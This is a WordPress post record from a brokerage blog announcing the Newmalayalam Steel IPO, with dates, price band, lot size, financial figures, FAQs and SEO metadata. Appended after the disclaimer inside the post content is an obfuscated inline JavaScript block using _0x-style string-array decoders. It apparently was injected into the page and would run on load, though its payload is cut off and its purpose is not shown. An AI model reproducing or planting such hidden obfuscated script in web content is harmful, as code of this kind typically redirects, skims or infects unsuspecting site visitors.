{"id":10369,"date":"2024-12-18T11:09:04","date_gmt":"2024-12-18T11:09:04","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=10369"},"modified":"2024-12-18T11:09:05","modified_gmt":"2024-12-18T11:09:05","slug":"newmalayalam-steel-limited-ipo","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/","title":{"rendered":"Newmalayalam Steel IPO Opens Dec 19: Price Band and Key Dates"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#Newmalayalam_Steel_IPO_Timeline_Tentative\" >Newmalayalam Steel IPO Timeline (Tentative)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#About_Newmalayalam_Steel_Limited\" >About Newmalayalam Steel Limited<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#Newmalayalam_Steel_Limited_Financial_Information\" >Newmalayalam Steel Limited Financial Information&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#FAQs_%E2%80%93_Newmalayalam_Steel_Limited_IPO\" >FAQs \u2013 Newmalayalam Steel Limited IPO<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/\">Investing<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/ipo\/\">IPO<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Newmalayalam Steel IPO Opens Dec 19: Price Band and Key Dates<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Newmalayalam Steel Limited IPO is open for subscription from December 19, 2024. The IPO segment has a total value of \u20b941.76 crores, with 46.40 lakh new shares being offered. The IPO will close on December 23, 2024. The allotment of shares is expected to be completed by December 24, 2024, and the shares will be listed on the NSE SME platform on December 27, 2024<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The price band for the IPO is \u20b985 to \u20b990 per share, and the minimum lot size for application is 1,600 shares.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><a href=\"https:\/\/shoonya.com\/blog\/how-to-apply-for-ipos-on-shoonya\/\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Check out the steps to apply for Newmalayalam Steel IPO!<\/mark><\/a><\/strong><\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-newmalayalam-steel-ipo-timeline-tentative\"><span class=\"ez-toc-section\" id=\"Newmalayalam_Steel_IPO_Timeline_Tentative\"><\/span>Newmalayalam Steel IPO Timeline (Tentative)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Here\u2019s a quick look at the Newmalayalam Steel IPO details:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Key Detail<\/strong><\/td><td><strong>Information<\/strong><\/td><\/tr><tr><td>IPO Opening Date<\/td><td>December 19, 2024<\/td><\/tr><tr><td>IPO Closing Date<\/td><td>December 23, 2024<\/td><\/tr><tr><td>Allotment Date<\/td><td>December 24, 2024<\/td><\/tr><tr><td>Listing Date<\/td><td>December 27, 2024<\/td><\/tr><tr><td>Face Value<\/td><td>\u20b910 per share<\/td><\/tr><tr><td>Price Band<\/td><td>\u20b985 to \u20b990 per share<\/td><\/tr><tr><td>Lot Size<\/td><td>1,600 Shares<\/td><\/tr><tr><td>Registrar<\/td><td>Kfin Technologies Limited<\/td><\/tr><tr><td>Minimum Order Quantity<\/td><td>1,600 Equity Shares<\/td><\/tr><tr><td>Maximum Subscription Amount for Retail Investor<\/td><td>Rs. 2,00,000<\/td><\/tr><tr><td>Issue Type<\/td><td>Book Built Issue IPO<\/td><\/tr><tr><td>Listing At<\/td><td>NSE SME<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"1-about-newmalayalam-steel-limited\"><span class=\"ez-toc-section\" id=\"About_Newmalayalam_Steel_Limited\"><\/span>About Newmalayalam Steel Limited<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><br><\/strong>Newmalayalam Steel Limited makes galvanized pipes, tubes, and sheets. The company has a special machine in Kerala, India that can produce 3,500 MT of these products.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Their clients include companies like Jaihind Steel, Aashico Ventures, and George Infra. The company\u2019s products are well-known for their quality, which has helped build a strong brand, &#8220;Demac Steel.&#8221;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Newmalayalam Steel IPO Key Details<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Newmalayalam Steel IPO Launch Date:<\/strong> December 19, 2024<\/li>\n\n\n\n<li><strong>Newmalayalam Steel IPO Closing Date:<\/strong> December 23, 2024<\/li>\n\n\n\n<li><strong>Newmalayalam Steel IPO Price Band:<\/strong> \u20b985 to \u20b990 per share<\/li>\n\n\n\n<li><strong>Newmalayalam Steel IPO Lot Size:<\/strong> 1,600 Shares<\/li>\n\n\n\n<li>Newmalayalam Steel <strong>GMP:<\/strong> \u20b90 (as of Dec 18, 2024)<\/li>\n\n\n\n<li><strong>Book Running Lead Manager:<\/strong> Khandwala Securities Ltd<\/li>\n\n\n\n<li><strong>Registrar:<\/strong> Kfin Technologies Ltd<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/shoonya.com\/open-an-account\/\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Apply for Newmalayalam Steel Limited IPO with a free demat account!<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"2-newmalayalam-steel-limited-financial-information-\"><span class=\"ez-toc-section\" id=\"Newmalayalam_Steel_Limited_Financial_Information\"><\/span>Newmalayalam Steel Limited Financial Information&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Newmalayalam Steel Limited\u2019s financial performance has seen a decline recently. Between FY 2023 and FY 2024, revenue dropped by 15.78%, and profit after tax (PAT) fell by 28.91%. The company\u2019s assets and net worth, however, showed an increase during this period.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em><strong>(All amounts are in \u20b9 Lakhs)<\/strong><\/em><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Years<\/strong><\/td><td><strong>Assets<\/strong><\/td><td><strong>Revenue<\/strong><\/td><td><strong>Profit After Tax (PAT)<\/strong><\/td><td><strong>Net Worth<\/strong><\/td><td><strong>Reserves and Surplus<\/strong><\/td><td><strong>Total Borrowing<\/strong><\/td><\/tr><tr><td><strong>31 Mar 2022<\/strong><\/td><td>9,001.66<\/td><td>32,360.91<\/td><td>673.06<\/td><td>3,019.79<\/td><td>1,755.03<\/td><td>4,920.06<\/td><\/tr><tr><td><strong>31 Mar 2023<\/strong><\/td><td>8,734.83<\/td><td>35,995.71<\/td><td>600.49<\/td><td>3,620.28<\/td><td>2,355.52<\/td><td>2,815.22<\/td><\/tr><tr><td><strong>31 Mar 2024<\/strong><\/td><td>11,208.19<\/td><td>30,314.80<\/td><td>426.86<\/td><td>4,047.14<\/td><td>2,782.38<\/td><td>5,911.15<\/td><\/tr><tr><td><strong>30 Sep 2024<\/strong><\/td><td>11,032.77<\/td><td>15,533.82<\/td><td>519.30<\/td><td>4,566.44<\/td><td>3,301.68<\/td><td>3,917.94<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"3-faqs-%E2%80%93-newmalayalam-steel-limited-ipo-\"><span class=\"ez-toc-section\" id=\"FAQs_%E2%80%93_Newmalayalam_Steel_Limited_IPO\"><\/span><strong>FAQs \u2013 Newmalayalam Steel Limited IPO<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1734519464796\"><strong class=\"schema-faq-question\"><strong>What is Newmalayalam Steel Limited?<\/strong><\/strong> <p class=\"schema-faq-answer\">Newmalayalam Steel Limited is a prominent manufacturer of galvanised pipes, tubes, and sheets. The company operates an electric resistance welding tube mill with an installed capacity of 3,500 MT.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1734519469637\"><strong class=\"schema-faq-question\"><strong>When does the Newmalayalam Steel IPO open and close?<\/strong><\/strong> <p class=\"schema-faq-answer\">The IPO opens for subscription on December 19, 2024, and closes on December 23, 2024. Interested investors should apply during this window to participate in the offering.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1734519491007\"><strong class=\"schema-faq-question\"><strong>What is the lot size for the Newmalayalam Steel IPO?<\/strong><\/strong> <p class=\"schema-faq-answer\">The minimum lot size for the IPO is 1,600 shares.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1734519510862\"><strong class=\"schema-faq-question\"><strong>When will the IPO allotment be finalized?<\/strong><\/strong> <p class=\"schema-faq-answer\">The IPO allotment will be finalized on December 24, 2024. Investors can check the allotment status online through the registrar\u2019s website after this date.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1734519521385\"><strong class=\"schema-faq-question\"><strong>When will the IPO be listed on stock exchanges?<\/strong><\/strong> <p class=\"schema-faq-answer\">The IPO will be listed on the NSE SME platform on December 27, 2024.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1734519527369\"><strong class=\"schema-faq-question\"><strong>What is the price range for the Newmalayalam Steel IPO?<\/strong><\/strong> <p class=\"schema-faq-answer\">The price band for the Newmalayalam Steel IPO is \u20b985 to \u20b990 per share. Investors can place their bids within this range during the subscription period.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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The IPO segment has a total value of \u20b941.76 crores, with 46.40 lakh new shares being offered. The IPO will close on December 23, 2024. The allotment of shares is expected to be completed by December 24, 2024, and the shares will be &hellip; <a href=\"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Newmalayalam Steel IPO Opens Dec 19: Price Band and Key Dates&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":10370,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[7],"tags":[2441,5305,5430,2523,5309,5310,5307,5304,5312,6124,6123],"class_list":["post-10369","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ipo","tag-allotment-of-ipo","tag-bidding-date","tag-how-to-check-ipo-allotment-status-2","tag-ipo-allotment-status","tag-ipo-allotment-time","tag-ipo-bidding-time","tag-ipo-launch-date","tag-ipo-segment","tag-ipo-subscription-status","tag-newmalayalam-steel-ipo","tag-newmalayalam-steel-limited-ipo"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Newmalayalam Steel IPO Opens Dec 19: Check Price Band<\/title>\n<meta name=\"description\" content=\"Newmalayalam Steel Limited IPO opens for subscription from Dec 19 to Dec 23, 2024. The IPO price band is set at \u20b985 to \u20b990 per share. Check details.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Newmalayalam Steel IPO Opens Dec 19: Check Price Band\" \/>\n<meta property=\"og:description\" content=\"Newmalayalam Steel Limited IPO opens for subscription from Dec 19 to Dec 23, 2024. The IPO price band is set at \u20b985 to \u20b990 per share. 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Check details.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#breadcrumb"},"mainEntity":[{"@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519464796"},{"@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519469637"},{"@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519491007"},{"@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519510862"},{"@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519521385"},{"@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519527369"}],"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/12\/NewMalayalam-Steel-Limited.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/12\/NewMalayalam-Steel-Limited.jpg","width":1920,"height":1080,"caption":"NewMalayalam Steel Limited"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Investing","item":"https:\/\/shoonya.com\/blog\/investing\/"},{"@type":"ListItem","position":3,"name":"IPO","item":"https:\/\/shoonya.com\/blog\/investing\/ipo\/"},{"@type":"ListItem","position":4,"name":"Newmalayalam Steel IPO Opens Dec 19: Price Band and Key Dates"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. 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The company operates an electric resistance welding tube mill with an installed capacity of 3,500 MT.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519469637","position":2,"url":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519469637","name":"When does the Newmalayalam Steel IPO open and close?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The IPO opens for subscription on December 19, 2024, and closes on December 23, 2024. Interested investors should apply during this window to participate in the offering.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519491007","position":3,"url":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519491007","name":"What is the lot size for the Newmalayalam Steel IPO?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The minimum lot size for the IPO is 1,600 shares.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519510862","position":4,"url":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519510862","name":"When will the IPO allotment be finalized?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The IPO allotment will be finalized on December 24, 2024. Investors can check the allotment status online through the registrar\u2019s website after this date.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519521385","position":5,"url":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519521385","name":"When will the IPO be listed on stock exchanges?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The IPO will be listed on the NSE SME platform on December 27, 2024.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519527369","position":6,"url":"https:\/\/shoonya.com\/blog\/newmalayalam-steel-limited-ipo\/#faq-question-1734519527369","name":"What is the price range for the Newmalayalam Steel IPO?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The price band for the Newmalayalam Steel IPO is \u20b985 to \u20b990 per share. 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